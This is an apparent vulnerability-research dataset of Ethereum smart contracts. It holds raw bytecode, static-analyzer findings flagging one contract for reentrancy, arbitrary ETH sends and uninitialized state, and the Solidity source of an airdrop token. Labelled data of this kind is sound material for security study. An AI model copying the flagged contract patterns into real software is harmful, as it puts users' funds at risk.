1000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa53c05d38042228b754b68dc987914e0968e96201a015453445a22eb5fedcac64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,850 |
0xfaf8c46deef2e97d36b42a4408cc477da87fb745 | pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FirstTradingEcosystem is StandardToken, Ownable {
// Constants
string public constant name = "First Trading Ecosystem";
string public constant symbol = "FIRST";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 998400000 * (10 ** uint256(decimals));
uint256 public constant FREE_SUPPLY = 500000000 * (10 ** uint256(decimals));
uint256 public nextFreeCount = 998 * (10 ** uint256(decimals)) ;
uint256 public constant decr = 0 * (10 ** 1) ;
mapping(address => bool) touched;
function FirstTradingEcosystem() public {
totalSupply_ = INITIAL_SUPPLY;
balances[address(this)] = FREE_SUPPLY;
emit Transfer(0x0, address(this), FREE_SUPPLY);
balances[msg.sender] = INITIAL_SUPPLY - FREE_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY - FREE_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function () external payable {
if (!touched[msg.sender] )
{
touched[msg.sender] = true;
_transfer(address(this), msg.sender, nextFreeCount );
nextFreeCount = nextFreeCount - decr;
}
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
} | 0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101ce578063095ea7b31461025c57806318160ddd146102b657806323b872dd146102df5780632ff2e9dc14610358578063313ce567146103815780635f56b6fe146103b057806366188463146103d357806370a082311461042d578063715018a61461047a5780638da5cb5b1461048f57806395d89b41146104e45780639858cf1914610572578063a9059cbb1461059b578063c1d9e273146105f5578063d73dd6231461061e578063d9f2ac8a14610678578063dd62ed3e146106a1578063f2fde38b1461070d575b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156101cc576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506101bf3033600454610746565b6000600454036004819055505b005b34156101d957600080fd5b6101e16109af565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610221578082015181840152602081019050610206565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026757600080fd5b61029c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109e8565b604051808215151515815260200191505060405180910390f35b34156102c157600080fd5b6102c9610ada565b6040518082815260200191505060405180910390f35b34156102ea57600080fd5b61033e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ae4565b604051808215151515815260200191505060405180910390f35b341561036357600080fd5b61036b610e9e565b6040518082815260200191505060405180910390f35b341561038c57600080fd5b610394610eaf565b604051808260ff1660ff16815260200191505060405180910390f35b34156103bb57600080fd5b6103d16004808035906020019091905050610eb4565b005b34156103de57600080fd5b610413600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffd565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b610464600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128e565b6040518082815260200191505060405180910390f35b341561048557600080fd5b61048d6112d6565b005b341561049a57600080fd5b6104a26113db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ef57600080fd5b6104f7611401565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053757808201518184015260208101905061051c565b50505050905090810190601f1680156105645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057d57600080fd5b61058561143a565b6040518082815260200191505060405180910390f35b34156105a657600080fd5b6105db600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061144b565b604051808215151515815260200191505060405180910390f35b341561060057600080fd5b61060861166a565b6040518082815260200191505060405180910390f35b341561062957600080fd5b61065e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611670565b604051808215151515815260200191505060405180910390f35b341561068357600080fd5b61068b61186c565b6040518082815260200191505060405180910390f35b34156106ac57600080fd5b6106f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b6040518082815260200191505060405180910390f35b341561071857600080fd5b610744600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118f8565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561079357600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561081f57600080fd5b610870816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610903816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6040805190810160405280601781526020017f46697273742054726164696e672045636f73797374656d00000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b6e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bf957600080fd5b610c4a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dae82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168